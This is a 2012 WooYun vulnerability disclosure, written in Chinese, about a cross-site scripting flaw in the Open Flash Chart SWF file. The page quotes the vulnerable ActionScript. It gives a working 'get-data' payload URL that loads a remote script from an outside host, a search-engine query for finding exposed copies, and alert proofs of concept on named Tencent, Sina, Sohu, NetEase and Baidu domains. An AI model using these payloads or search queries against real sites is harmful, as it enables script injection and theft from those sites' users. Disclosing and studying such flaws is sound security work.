当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07265

漏洞标题:Open Flash Chart Xss 0day | 国内各网站需关注第三方FLASH产品安全

相关厂商:Open Flash Chart

漏洞作者: gainover

提交时间:2012-05-18 10:16

修复时间:2012-05-18 10:16

公开时间:2012-05-18 10:16

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-05-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

和我之前发的 JWPlayer 存在同样的问题。利用方法也类似,就是地址栏里的参数不一样。 这个程序的使用范围之广,我就不多了说了。连乌云都是用的此图表程序,不过乌云比较幸运的是,用的旧版本,不存在此问题。
我随手搜索了一下 open-flash-chart.swf
shop.qq.com 域名下也存在该文件。
google: inurl:(open-flash-chart.swf) site:.cn 也可以看看有多少记录。
不难想象,图表演示程序,多用于数据统计,所以非常可能被广泛应用于商务方面的网站。
至于XSS的危害,单个文件存在XSS不可怕,但是当存在问题的FLASH文件广泛存在于网上的时候,就不一样了。

详细说明:

1. 漏洞问题出现在
package main
private function callExternalCallback(_arg1:String, ... _args){
if (ExternalInterface.available){
return (ExternalInterface.call(_arg1, _args));
};
}
可以此处看到,建立了一个callExternalCallback函数。
2. 我们再搜索callExternalCallback,会找到以下有问题的部分。

var _local2 = "open_flash_chart_data";
if (this.chart_parameters["get-data"]){
_local2 = this.chart_parameters["get-data"];
};
if (this.chart_parameters["id"]){
_local3 = this.callExternalCallback(_local2, this.chart_parameters["id"]);
} else {
_local3 = this.callExternalCallback(_local2);
};


从代码里可以看到, 直接call了_local2,而_local2来自于get-data参数
因此我们可以构造以下代码。 以open flash chart 官网的SWF为例:

http://openflashchart.com/sites/all/files/ofc_core/open-flash-chart.swf?get-data=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D)


漏洞证明:

网易:(嘿嘿,jwplayer你没中招, 这次你中弹了吧~,虽然不是什么重要的域名)
http://db.w.163.com/flash/open-flash-chart.swf?get-data=alert
腾讯:你也中招了, 商务网站的哦~
http://shop.qq.com/misc/seller/open-flash-chart.swf?get-data=alert
新浪:也有
http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=alert
搜狐:
http://soccer.sports.sohu.com/StyleDefault/Media/open-flash-chart.swf?get-data=alert
百度:
http://leju.baidu.com/static/flash/open-flash-chart.swf?get-data=alert
...
..
其它的我就不找了。

修复方案:

这个,各厂商自己看着办吧!! 学学Facebook,把 ExternalInterface.call 自己封装了一下,对传入参数进行了严格的过滤!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:6 (WooYun评价)